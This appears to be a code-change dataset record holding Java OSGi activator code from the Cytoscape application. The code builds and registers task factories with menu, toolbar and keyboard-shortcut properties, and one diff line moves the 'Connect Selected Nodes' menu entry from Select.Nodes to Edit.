openSessionTaskFactoryProps.setProperty("inToolBar","true"); openSessionTaskFactoryProps.setProperty("menuGravity","1.0"); openSessionTaskFactoryProps.setProperty("tooltip","Open Session"); registerService(bc,openSessionTaskFactory,TaskFactory.class, openSessionTaskFactoryProps); Properties saveSessionTaskFactoryProps = new Properties(); saveSessionTaskFactoryProps.setProperty("preferredMenu","File"); saveSessionTaskFactoryProps.setProperty("accelerator","cmd s"); saveSessionTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_save.png").toString()); saveSessionTaskFactoryProps.setProperty("title","Save"); saveSessionTaskFactoryProps.setProperty("toolBarGravity","1.1"); saveSessionTaskFactoryProps.setProperty("inToolBar","true"); saveSessionTaskFactoryProps.setProperty("menuGravity","3.0"); saveSessionTaskFactoryProps.setProperty("tooltip","Save Session"); registerService(bc,saveSessionTaskFactory,TaskFactory.class, saveSessionTaskFactoryProps); Properties saveSessionAsTaskFactoryProps = new Properties(); saveSessionAsTaskFactoryProps.setProperty("preferredMenu","File"); saveSessionAsTaskFactoryProps.setProperty("accelerator","cmd shift s"); saveSessionAsTaskFactoryProps.setProperty("menuGravity","3.1"); saveSessionAsTaskFactoryProps.setProperty("title","Save As"); registerService(bc,saveSessionAsTaskFactory,TaskFactory.class, saveSessionAsTaskFactoryProps); Properties applyPreferredLayoutTaskFactoryProps = new Properties(); applyPreferredLayoutTaskFactoryProps.setProperty("preferredMenu","Layout"); applyPreferredLayoutTaskFactoryProps.setProperty("accelerator","fn5"); applyPreferredLayoutTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/apply_layout.png").toString()); applyPreferredLayoutTaskFactoryProps.setProperty("enableFor","networkAndView"); applyPreferredLayoutTaskFactoryProps.setProperty("title","Apply Preferred Layout"); applyPreferredLayoutTaskFactoryProps.setProperty("toolBarGravity","9.0"); applyPreferredLayoutTaskFactoryProps.setProperty("inToolBar","true"); applyPreferredLayoutTaskFactoryProps.setProperty("menuGravity","5.0"); applyPreferredLayoutTaskFactoryProps.setProperty("tooltip","Apply Preferred Layout"); registerService(bc,applyPreferredLayoutTaskFactory,NetworkViewTaskFactory.class, applyPreferredLayoutTaskFactoryProps); Properties deleteColumnTaskFactoryProps = new Properties(); deleteColumnTaskFactoryProps.setProperty("title","Delete column"); registerService(bc,deleteColumnTaskFactory,TableColumnTaskFactory.class, deleteColumnTaskFactoryProps); Properties renameColumnTaskFactoryProps = new Properties(); renameColumnTaskFactoryProps.setProperty("title","Rename column"); registerService(bc,renameColumnTaskFactory,TableColumnTaskFactory.class, renameColumnTaskFactoryProps); Properties copyValueToEntireColumnTaskFactoryProps = new Properties(); copyValueToEntireColumnTaskFactoryProps.setProperty("title","Copy to entire column"); registerService(bc,copyValueToEntireColumnTaskFactory,TableCellTaskFactory.class, copyValueToEntireColumnTaskFactoryProps); registerService(bc,deleteTableTaskFactory,TableTaskFactory.class, new Properties()); Properties quickStartTaskFactoryProps = new Properties(); quickStartTaskFactoryProps.setProperty("scope","startup"); quickStartTaskFactoryProps.setProperty("title","QuickStart"); registerService(bc,quickStartTaskFactory,TaskFactory.class, quickStartTaskFactoryProps); Properties welcomeTaskFactoryProps = new Properties(); welcomeTaskFactoryProps.setProperty("scope","startup"); welcomeTaskFactoryProps.setProperty("title","Welcome Screen"); welcomeTaskFactoryProps.setProperty("id","WelcomeScreen"); registerService(bc,welcomeTaskFactory,TaskFactory.class, welcomeTaskFactoryProps); registerAllServices(bc,bioGridPreprocessor, new Properties()); Properties connectSelectedNodesTaskFactoryProps = new Properties(); - connectSelectedNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); + connectSelectedNodesTaskFactoryProps.setProperty("preferredMenu","Edit"); connectSelectedNodesTaskFactoryProps.setProperty("enableFor","network"); connectSelectedNodesTaskFactoryProps.setProperty("toolBarGravity","2.5"); connectSelectedNodesTaskFactoryProps.setProperty("title","Connect Selected Nodes"); registerService(bc,connectSelectedNodesTaskFactory,TaskFactory.class, connectSelectedNodesTaskFactoryProps); registerServiceListener(bc,importTaskUtil,"addProcessor","removeProcessor",InteractionFilePreprocessor.class); registerServiceListener(bc,subnetworkBuilderUtil,"addProcessor","removeProcessor",InteractionFilePreprocessor.class); registerServiceListener(bc,subnetworkBuilderUtil,"addFactory","removeFactory",VisualMappingFunctionFactory.class); //ShowWelcomeScreenTask ws = new ShowWelcomeScreenTask(); //registerAllServices(bc, ws, new Properties()); } }
true
true
public void start(BundleContext bc) { OpenBrowser openBrowserServiceRef = getService(bc,OpenBrowser.class); CyEventHelper cyEventHelperRef = getService(bc,CyEventHelper.class); CyApplicationConfiguration cyApplicationConfigurationServiceRef = getService(bc,CyApplicationConfiguration.class); RecentlyOpenedTracker recentlyOpenedTrackerServiceRef = getService(bc,RecentlyOpenedTracker.class); CyNetworkNaming cyNetworkNamingServiceRef = getService(bc,CyNetworkNaming.class); UndoSupport undoSupportServiceRef = getService(bc,UndoSupport.class); CyNetworkViewFactory cyNetworkViewFactoryServiceRef = getService(bc,CyNetworkViewFactory.class); CyNetworkFactory cyNetworkFactoryServiceRef = getService(bc,CyNetworkFactory.class); CyRootNetworkManager cyRootNetworkFactoryServiceRef = getService(bc,CyRootNetworkManager.class); CyNetworkReaderManager cyNetworkReaderManagerServiceRef = getService(bc,CyNetworkReaderManager.class); CyTableReaderManager cyDataTableReaderManagerServiceRef = getService(bc,CyTableReaderManager.class); VizmapReaderManager vizmapReaderManagerServiceRef = getService(bc,VizmapReaderManager.class); VisualMappingManager visualMappingManagerServiceRef = getService(bc,VisualMappingManager.class); VisualStyleFactory visualStyleFactoryServiceRef = getService(bc,VisualStyleFactory.class); StreamUtil streamUtilRef = getService(bc,StreamUtil.class); TaskManager taskManagerServiceRef = getService(bc,TaskManager.class); PresentationWriterManager viewWriterManagerServiceRef = getService(bc,PresentationWriterManager.class); CyNetworkViewWriterManager networkViewWriterManagerServiceRef = getService(bc,CyNetworkViewWriterManager.class); VizmapWriterManager vizmapWriterManagerServiceRef = getService(bc,VizmapWriterManager.class); CySessionWriterManager sessionWriterManagerServiceRef = getService(bc,CySessionWriterManager.class); CySessionReaderManager sessionReaderManagerServiceRef = getService(bc,CySessionReaderManager.class); CyNetworkManager cyNetworkManagerServiceRef = getService(bc,CyNetworkManager.class); CyNetworkViewManager cyNetworkViewManagerServiceRef = getService(bc,CyNetworkViewManager.class); CyApplicationManager cyApplicationManagerServiceRef = getService(bc,CyApplicationManager.class); CySessionManager cySessionManagerServiceRef = getService(bc,CySessionManager.class); CyProperty cyPropertyServiceRef = getService(bc,CyProperty.class,"(cyPropertyName=cytoscape3.props)"); CyTableManager cyTableManagerServiceRef = getService(bc,CyTableManager.class); RenderingEngineManager renderingEngineManagerServiceRef = getService(bc,RenderingEngineManager.class); CyLayoutAlgorithmManager cyLayoutsServiceRef = getService(bc,CyLayoutAlgorithmManager.class); CyTableWriterManager cyTableWriterManagerRef = getService(bc,CyTableWriterManager.class); SynchronousTaskManager synchronousTaskManagerServiceRef = getService(bc,SynchronousTaskManager.class); LoadAttributesFileTaskFactoryImpl loadAttrsFileTaskFactory = new LoadAttributesFileTaskFactoryImpl(cyDataTableReaderManagerServiceRef,cyTableManagerServiceRef); LoadAttributesURLTaskFactoryImpl loadAttrsURLTaskFactory = new LoadAttributesURLTaskFactoryImpl(cyDataTableReaderManagerServiceRef,cyTableManagerServiceRef); LoadVizmapFileTaskFactoryImpl loadVizmapFileTaskFactory = new LoadVizmapFileTaskFactoryImpl(vizmapReaderManagerServiceRef,visualMappingManagerServiceRef,synchronousTaskManagerServiceRef); LoadNetworkFileTaskFactoryImpl loadNetworkFileTaskFactory = new LoadNetworkFileTaskFactoryImpl(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef); LoadNetworkURLTaskFactoryImpl loadNetworkURLTaskFactory = new LoadNetworkURLTaskFactoryImpl(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef,streamUtilRef); SetCurrentNetworkTaskFactoryImpl setCurrentNetworkTaskFactory = new SetCurrentNetworkTaskFactoryImpl(cyApplicationManagerServiceRef,cyNetworkManagerServiceRef); DeleteSelectedNodesAndEdgesTaskFactory deleteSelectedNodesAndEdgesTaskFactory = new DeleteSelectedNodesAndEdgesTaskFactory(undoSupportServiceRef,cyApplicationManagerServiceRef,cyNetworkViewManagerServiceRef,visualMappingManagerServiceRef,cyEventHelperRef); SelectAllTaskFactory selectAllTaskFactory = new SelectAllTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectAllEdgesTaskFactory selectAllEdgesTaskFactory = new SelectAllEdgesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectAllNodesTaskFactory selectAllNodesTaskFactory = new SelectAllNodesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectAdjacentEdgesTaskFactory selectAdjacentEdgesTaskFactory = new SelectAdjacentEdgesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectConnectedNodesTaskFactory selectConnectedNodesTaskFactory = new SelectConnectedNodesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectFirstNeighborsTaskFactory selectFirstNeighborsTaskFactory = new SelectFirstNeighborsTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef, CyEdge.Type.ANY); SelectFirstNeighborsTaskFactory selectFirstNeighborsTaskFactoryInEdge = new SelectFirstNeighborsTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef, CyEdge.Type.INCOMING); SelectFirstNeighborsTaskFactory selectFirstNeighborsTaskFactoryOutEdge = new SelectFirstNeighborsTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef, CyEdge.Type.OUTGOING); DeselectAllTaskFactory deselectAllTaskFactory = new DeselectAllTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); DeselectAllEdgesTaskFactory deselectAllEdgesTaskFactory = new DeselectAllEdgesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); DeselectAllNodesTaskFactory deselectAllNodesTaskFactory = new DeselectAllNodesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); InvertSelectedEdgesTaskFactory invertSelectedEdgesTaskFactory = new InvertSelectedEdgesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); InvertSelectedNodesTaskFactory invertSelectedNodesTaskFactory = new InvertSelectedNodesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectFromFileListTaskFactory selectFromFileListTaskFactory = new SelectFromFileListTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectFirstNeighborsNodeViewTaskFactory selectFirstNeighborsNodeViewTaskFactory = new SelectFirstNeighborsNodeViewTaskFactory(CyEdge.Type.ANY); HideSelectedTaskFactory hideSelectedTaskFactory = new HideSelectedTaskFactory(undoSupportServiceRef,cyEventHelperRef); HideSelectedNodesTaskFactory hideSelectedNodesTaskFactory = new HideSelectedNodesTaskFactory(undoSupportServiceRef,cyEventHelperRef); HideSelectedEdgesTaskFactory hideSelectedEdgesTaskFactory = new HideSelectedEdgesTaskFactory(undoSupportServiceRef,cyEventHelperRef); UnHideAllTaskFactory unHideAllTaskFactory = new UnHideAllTaskFactory(undoSupportServiceRef,cyEventHelperRef); UnHideAllNodesTaskFactory unHideAllNodesTaskFactory = new UnHideAllNodesTaskFactory(undoSupportServiceRef,cyEventHelperRef); UnHideAllEdgesTaskFactory unHideAllEdgesTaskFactory = new UnHideAllEdgesTaskFactory(undoSupportServiceRef,cyEventHelperRef); NewEmptyNetworkTaskFactory newEmptyNetworkTaskFactory = new NewEmptyNetworkTaskFactory(cyNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyNetworkNamingServiceRef,synchronousTaskManagerServiceRef); CloneNetworkTaskFactory cloneNetworkTaskFactory = new CloneNetworkTaskFactory(cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,visualMappingManagerServiceRef,cyNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkNamingServiceRef,cyEventHelperRef); NewNetworkSelectedNodesEdgesTaskFactory newNetworkSelectedNodesEdgesTaskFactory = new NewNetworkSelectedNodesEdgesTaskFactory(undoSupportServiceRef,cyRootNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyNetworkNamingServiceRef,visualMappingManagerServiceRef,cyApplicationManagerServiceRef,cyEventHelperRef); NewNetworkSelectedNodesOnlyTaskFactory newNetworkSelectedNodesOnlyTaskFactory = new NewNetworkSelectedNodesOnlyTaskFactory(undoSupportServiceRef,cyRootNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyNetworkNamingServiceRef,visualMappingManagerServiceRef,cyApplicationManagerServiceRef,cyEventHelperRef); DestroyNetworkTaskFactory destroyNetworkTaskFactory = new DestroyNetworkTaskFactory(cyNetworkManagerServiceRef); DestroyNetworkViewTaskFactory destroyNetworkViewTaskFactory = new DestroyNetworkViewTaskFactory(cyNetworkViewManagerServiceRef); ZoomInTaskFactory zoomInTaskFactory = new ZoomInTaskFactory(undoSupportServiceRef); ZoomOutTaskFactory zoomOutTaskFactory = new ZoomOutTaskFactory(undoSupportServiceRef); FitSelectedTaskFactory fitSelectedTaskFactory = new FitSelectedTaskFactory(undoSupportServiceRef); FitContentTaskFactory fitContentTaskFactory = new FitContentTaskFactory(undoSupportServiceRef); NewSessionTaskFactory newSessionTaskFactory = new NewSessionTaskFactory(cySessionManagerServiceRef); OpenSessionTaskFactory openSessionTaskFactory = new OpenSessionTaskFactory(cySessionManagerServiceRef,sessionReaderManagerServiceRef,cyApplicationManagerServiceRef,recentlyOpenedTrackerServiceRef); SaveSessionTaskFactory saveSessionTaskFactory = new SaveSessionTaskFactory( sessionWriterManagerServiceRef, cySessionManagerServiceRef); SaveSessionAsTaskFactory saveSessionAsTaskFactory = new SaveSessionAsTaskFactory( sessionWriterManagerServiceRef, cySessionManagerServiceRef); ProxySettingsTaskFactory proxySettingsTaskFactory = new ProxySettingsTaskFactory(streamUtilRef); EditNetworkTitleTaskFactory editNetworkTitleTaskFactory = new EditNetworkTitleTaskFactory(undoSupportServiceRef); CreateNetworkViewTaskFactory createNetworkViewTaskFactory = new CreateNetworkViewTaskFactory(undoSupportServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkViewManagerServiceRef,cyLayoutsServiceRef,cyEventHelperRef); ExportNetworkImageTaskFactory exportNetworkImageTaskFactory = new ExportNetworkImageTaskFactory(viewWriterManagerServiceRef,cyApplicationManagerServiceRef); ExportNetworkViewTaskFactory exportNetworkViewTaskFactory = new ExportNetworkViewTaskFactory(networkViewWriterManagerServiceRef); ExportNodeTableTaskFactory exportNodeTableTaskFactory = new ExportNodeTableTaskFactory(cyTableWriterManagerRef); ExportEdgeTableTaskFactory exportEdgeTableTaskFactory = new ExportEdgeTableTaskFactory(cyTableWriterManagerRef); ExportCurrentTableTaskFactory exportCurrentTableTaskFactory = new ExportCurrentTableTaskFactory(cyTableWriterManagerRef); ApplyPreferredLayoutTaskFactory applyPreferredLayoutTaskFactory = new ApplyPreferredLayoutTaskFactory(undoSupportServiceRef,cyEventHelperRef,cyLayoutsServiceRef,cyPropertyServiceRef); DeleteColumnTaskFactory deleteColumnTaskFactory = new DeleteColumnTaskFactory(undoSupportServiceRef); RenameColumnTaskFactory renameColumnTaskFactory = new RenameColumnTaskFactory(undoSupportServiceRef); CopyValueToEntireColumnTaskFactory copyValueToEntireColumnTaskFactory = new CopyValueToEntireColumnTaskFactory(undoSupportServiceRef); DeleteTableTaskFactory deleteTableTaskFactory = new DeleteTableTaskFactory(cyTableManagerServiceRef); ExportVizmapTaskFactory exportVizmapTaskFactory = new ExportVizmapTaskFactory(vizmapWriterManagerServiceRef,visualMappingManagerServiceRef); SubnetworkBuilderUtil subnetworkBuilderUtil = new SubnetworkBuilderUtil(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef,streamUtilRef,cyEventHelperRef,cyApplicationManagerServiceRef,cyRootNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,visualMappingManagerServiceRef,visualStyleFactoryServiceRef,cyLayoutsServiceRef,undoSupportServiceRef); ImportTaskUtil importTaskUtil = new ImportTaskUtil(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef,streamUtilRef,cyTableManagerServiceRef,cyDataTableReaderManagerServiceRef,cyApplicationManagerServiceRef); QuickStartTaskFactory quickStartTaskFactory = new QuickStartTaskFactory(importTaskUtil,cyNetworkManagerServiceRef,subnetworkBuilderUtil); OpenSpecifiedSessionTaskFactory openSpecifiedSessionTaskFactory = new OpenSpecifiedSessionTaskFactory(cySessionManagerServiceRef,sessionReaderManagerServiceRef,cyApplicationManagerServiceRef); LoadMitabFileTaskFactory loadMitabFileTaskFactory = new LoadMitabFileTaskFactory(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef); WelcomeScreenTaskFactory welcomeTaskFactory = new WelcomeScreenTaskFactory(openBrowserServiceRef, importTaskUtil,cyNetworkManagerServiceRef,subnetworkBuilderUtil, recentlyOpenedTrackerServiceRef, taskManagerServiceRef, openSpecifiedSessionTaskFactory, openSessionTaskFactory, loadMitabFileTaskFactory, cyApplicationConfigurationServiceRef, loadNetworkFileTaskFactory); BioGridPreprocessor bioGridPreprocessor = new BioGridPreprocessor(cyPropertyServiceRef,cyApplicationConfigurationServiceRef); ConnectSelectedNodesTaskFactory connectSelectedNodesTaskFactory = new ConnectSelectedNodesTaskFactory(undoSupportServiceRef,cyApplicationManagerServiceRef,cyEventHelperRef); Properties loadNetworkFileTaskFactoryProps = new Properties(); loadNetworkFileTaskFactoryProps.setProperty("preferredMenu","File.Import.Network"); loadNetworkFileTaskFactoryProps.setProperty("accelerator","cmd l"); loadNetworkFileTaskFactoryProps.setProperty("title","File..."); loadNetworkFileTaskFactoryProps.setProperty("commandNamespace","network"); loadNetworkFileTaskFactoryProps.setProperty("command","load"); loadNetworkFileTaskFactoryProps.setProperty("menuGravity","1.0"); loadNetworkFileTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/net_file_import.png").toString()); loadNetworkFileTaskFactoryProps.setProperty("inToolBar","true"); loadNetworkFileTaskFactoryProps.setProperty("tooltip","Import Network From File"); registerService(bc,loadNetworkFileTaskFactory,TaskFactory.class, loadNetworkFileTaskFactoryProps); Properties loadNetworkURLTaskFactoryProps = new Properties(); loadNetworkURLTaskFactoryProps.setProperty("preferredMenu","File.Import.Network"); loadNetworkURLTaskFactoryProps.setProperty("accelerator","cmd shift l"); loadNetworkURLTaskFactoryProps.setProperty("menuGravity","2.0"); loadNetworkURLTaskFactoryProps.setProperty("title","URL..."); loadNetworkURLTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/net_db_import.png").toString()); loadNetworkURLTaskFactoryProps.setProperty("inToolBar","true"); loadNetworkURLTaskFactoryProps.setProperty("tooltip","Import Network From URL"); registerService(bc,loadNetworkURLTaskFactory,TaskFactory.class, loadNetworkURLTaskFactoryProps); Properties loadVizmapFileTaskFactoryProps = new Properties(); loadVizmapFileTaskFactoryProps.setProperty("preferredMenu","File.Import"); loadVizmapFileTaskFactoryProps.setProperty("menuGravity","3.0"); loadVizmapFileTaskFactoryProps.setProperty("title","Vizmap File..."); registerService(bc,loadVizmapFileTaskFactory,TaskFactory.class, loadVizmapFileTaskFactoryProps); registerService(bc,loadVizmapFileTaskFactory,LoadVisualStyles.class, new Properties()); Properties loadAttrsFileTaskFactoryProps = new Properties(); loadAttrsFileTaskFactoryProps.setProperty("preferredMenu","File.Import.Table"); loadAttrsFileTaskFactoryProps.setProperty("menuGravity","1.1"); loadAttrsFileTaskFactoryProps.setProperty("title","File..."); loadAttrsFileTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/table_file_import.png").toString()); loadAttrsFileTaskFactoryProps.setProperty("inToolBar","true"); loadAttrsFileTaskFactoryProps.setProperty("tooltip","Import Table From File"); registerService(bc,loadAttrsFileTaskFactory,TaskFactory.class, loadAttrsFileTaskFactoryProps); Properties loadAttrsURLTaskFactoryProps = new Properties(); loadAttrsURLTaskFactoryProps.setProperty("preferredMenu","File.Import.Table"); loadAttrsURLTaskFactoryProps.setProperty("menuGravity","1.2"); loadAttrsURLTaskFactoryProps.setProperty("title","URL..."); loadAttrsURLTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/table_db_import.png").toString()); loadAttrsURLTaskFactoryProps.setProperty("inToolBar","true"); loadAttrsURLTaskFactoryProps.setProperty("tooltip","Import Table From Public Database"); registerService(bc,loadAttrsURLTaskFactory,TaskFactory.class, loadAttrsURLTaskFactoryProps); Properties proxySettingsTaskFactoryProps = new Properties(); proxySettingsTaskFactoryProps.setProperty("preferredMenu","Edit.Preferences"); proxySettingsTaskFactoryProps.setProperty("menuGravity","1.0"); proxySettingsTaskFactoryProps.setProperty("title","Proxy Settings..."); registerService(bc,proxySettingsTaskFactory,TaskFactory.class, proxySettingsTaskFactoryProps); Properties deleteSelectedNodesAndEdgesTaskFactoryProps = new Properties(); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("preferredMenu","Edit"); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("enableFor","selectedNodesOrEdges"); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("title","Delete Selected Nodes and Edges..."); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("command","delete selected nodes and edges"); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("commandNamespace","network"); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("menuGravity","5.0"); registerService(bc,deleteSelectedNodesAndEdgesTaskFactory,TaskFactory.class, deleteSelectedNodesAndEdgesTaskFactoryProps); Properties selectAllTaskFactoryProps = new Properties(); selectAllTaskFactoryProps.setProperty("preferredMenu","Select"); selectAllTaskFactoryProps.setProperty("accelerator","cmd alt a"); selectAllTaskFactoryProps.setProperty("enableFor","network"); selectAllTaskFactoryProps.setProperty("title","Select all nodes and edges"); selectAllTaskFactoryProps.setProperty("command","select all nodes"); selectAllTaskFactoryProps.setProperty("commandNamespace","network"); selectAllTaskFactoryProps.setProperty("menuGravity","5.0"); registerService(bc,selectAllTaskFactory,NetworkTaskFactory.class, selectAllTaskFactoryProps); Properties selectAllEdgesTaskFactoryProps = new Properties(); selectAllEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); selectAllEdgesTaskFactoryProps.setProperty("accelerator","cmd alt a"); selectAllEdgesTaskFactoryProps.setProperty("enableFor","network"); selectAllEdgesTaskFactoryProps.setProperty("title","Select all edges"); selectAllEdgesTaskFactoryProps.setProperty("command","select all edges"); selectAllEdgesTaskFactoryProps.setProperty("commandNamespace","network"); selectAllEdgesTaskFactoryProps.setProperty("menuGravity","4.0"); registerService(bc,selectAllEdgesTaskFactory,NetworkTaskFactory.class, selectAllEdgesTaskFactoryProps); Properties selectAllNodesTaskFactoryProps = new Properties(); selectAllNodesTaskFactoryProps.setProperty("enableFor","network"); selectAllNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); selectAllNodesTaskFactoryProps.setProperty("menuGravity","4.0"); selectAllNodesTaskFactoryProps.setProperty("accelerator","cmd a"); selectAllNodesTaskFactoryProps.setProperty("title","Select all nodes"); registerService(bc,selectAllNodesTaskFactory,NetworkTaskFactory.class, selectAllNodesTaskFactoryProps); Properties selectAdjacentEdgesTaskFactoryProps = new Properties(); selectAdjacentEdgesTaskFactoryProps.setProperty("enableFor","network"); selectAdjacentEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); selectAdjacentEdgesTaskFactoryProps.setProperty("menuGravity","6.0"); selectAdjacentEdgesTaskFactoryProps.setProperty("accelerator","alt e"); selectAdjacentEdgesTaskFactoryProps.setProperty("title","Select adjacent edges"); registerService(bc,selectAdjacentEdgesTaskFactory,NetworkTaskFactory.class, selectAdjacentEdgesTaskFactoryProps); Properties selectConnectedNodesTaskFactoryProps = new Properties(); selectConnectedNodesTaskFactoryProps.setProperty("enableFor","network"); selectConnectedNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); selectConnectedNodesTaskFactoryProps.setProperty("menuGravity","7.0"); selectConnectedNodesTaskFactoryProps.setProperty("accelerator","cmd 7"); selectConnectedNodesTaskFactoryProps.setProperty("title","Nodes connected by selected edges"); registerService(bc,selectConnectedNodesTaskFactory,NetworkTaskFactory.class, selectConnectedNodesTaskFactoryProps); Properties selectFirstNeighborsTaskFactoryProps = new Properties(); selectFirstNeighborsTaskFactoryProps.setProperty("enableFor","network"); selectFirstNeighborsTaskFactoryProps.setProperty("preferredMenu","Select.Nodes.First Neighbors of Selected Nodes"); selectFirstNeighborsTaskFactoryProps.setProperty("menuGravity","6.0"); selectFirstNeighborsTaskFactoryProps.setProperty("accelerator","cmd 6"); selectFirstNeighborsTaskFactoryProps.setProperty("title","Undirected"); selectFirstNeighborsTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/select_firstneighbors.png").toString()); selectFirstNeighborsTaskFactoryProps.setProperty("inToolBar","true"); selectFirstNeighborsTaskFactoryProps.setProperty("tooltip","First Neighbors of Selected Nodes (Undirected)"); registerService(bc,selectFirstNeighborsTaskFactory,NetworkTaskFactory.class, selectFirstNeighborsTaskFactoryProps); Properties selectFirstNeighborsTaskFactoryInEdgeProps = new Properties(); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("enableFor","network"); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("preferredMenu","Select.Nodes.First Neighbors of Selected Nodes"); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("menuGravity","6.1"); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("title","Directed: Incoming"); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("tooltip","First Neighbors of Selected Nodes (Directed: Incoming)"); registerService(bc,selectFirstNeighborsTaskFactoryInEdge,NetworkTaskFactory.class, selectFirstNeighborsTaskFactoryInEdgeProps); Properties selectFirstNeighborsTaskFactoryOutEdgeProps = new Properties(); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("enableFor","network"); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("preferredMenu","Select.Nodes.First Neighbors of Selected Nodes"); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("menuGravity","6.2"); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("title","Directed: Outgoing"); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("tooltip","First Neighbors of Selected Nodes (Directed: Outgoing)"); registerService(bc,selectFirstNeighborsTaskFactoryOutEdge,NetworkTaskFactory.class, selectFirstNeighborsTaskFactoryOutEdgeProps); Properties deselectAllTaskFactoryProps = new Properties(); deselectAllTaskFactoryProps.setProperty("enableFor","network"); deselectAllTaskFactoryProps.setProperty("preferredMenu","Select"); deselectAllTaskFactoryProps.setProperty("menuGravity","5.1"); deselectAllTaskFactoryProps.setProperty("accelerator","cmd shift alt a"); deselectAllTaskFactoryProps.setProperty("title","Deselect all nodes and edges"); registerService(bc,deselectAllTaskFactory,NetworkTaskFactory.class, deselectAllTaskFactoryProps); Properties deselectAllEdgesTaskFactoryProps = new Properties(); deselectAllEdgesTaskFactoryProps.setProperty("enableFor","network"); deselectAllEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); deselectAllEdgesTaskFactoryProps.setProperty("menuGravity","5.0"); deselectAllEdgesTaskFactoryProps.setProperty("accelerator","alt shift a"); deselectAllEdgesTaskFactoryProps.setProperty("title","Deselect all edges"); registerService(bc,deselectAllEdgesTaskFactory,NetworkTaskFactory.class, deselectAllEdgesTaskFactoryProps); Properties deselectAllNodesTaskFactoryProps = new Properties(); deselectAllNodesTaskFactoryProps.setProperty("enableFor","network"); deselectAllNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); deselectAllNodesTaskFactoryProps.setProperty("menuGravity","5.0"); deselectAllNodesTaskFactoryProps.setProperty("accelerator","cmd shift a"); deselectAllNodesTaskFactoryProps.setProperty("title","Deselect all nodes"); registerService(bc,deselectAllNodesTaskFactory,NetworkTaskFactory.class, deselectAllNodesTaskFactoryProps); Properties invertSelectedEdgesTaskFactoryProps = new Properties(); invertSelectedEdgesTaskFactoryProps.setProperty("enableFor","network"); invertSelectedEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); invertSelectedEdgesTaskFactoryProps.setProperty("menuGravity","1.0"); invertSelectedEdgesTaskFactoryProps.setProperty("accelerator","alt i"); invertSelectedEdgesTaskFactoryProps.setProperty("title","Invert edge selection"); registerService(bc,invertSelectedEdgesTaskFactory,NetworkTaskFactory.class, invertSelectedEdgesTaskFactoryProps); Properties invertSelectedNodesTaskFactoryProps = new Properties(); 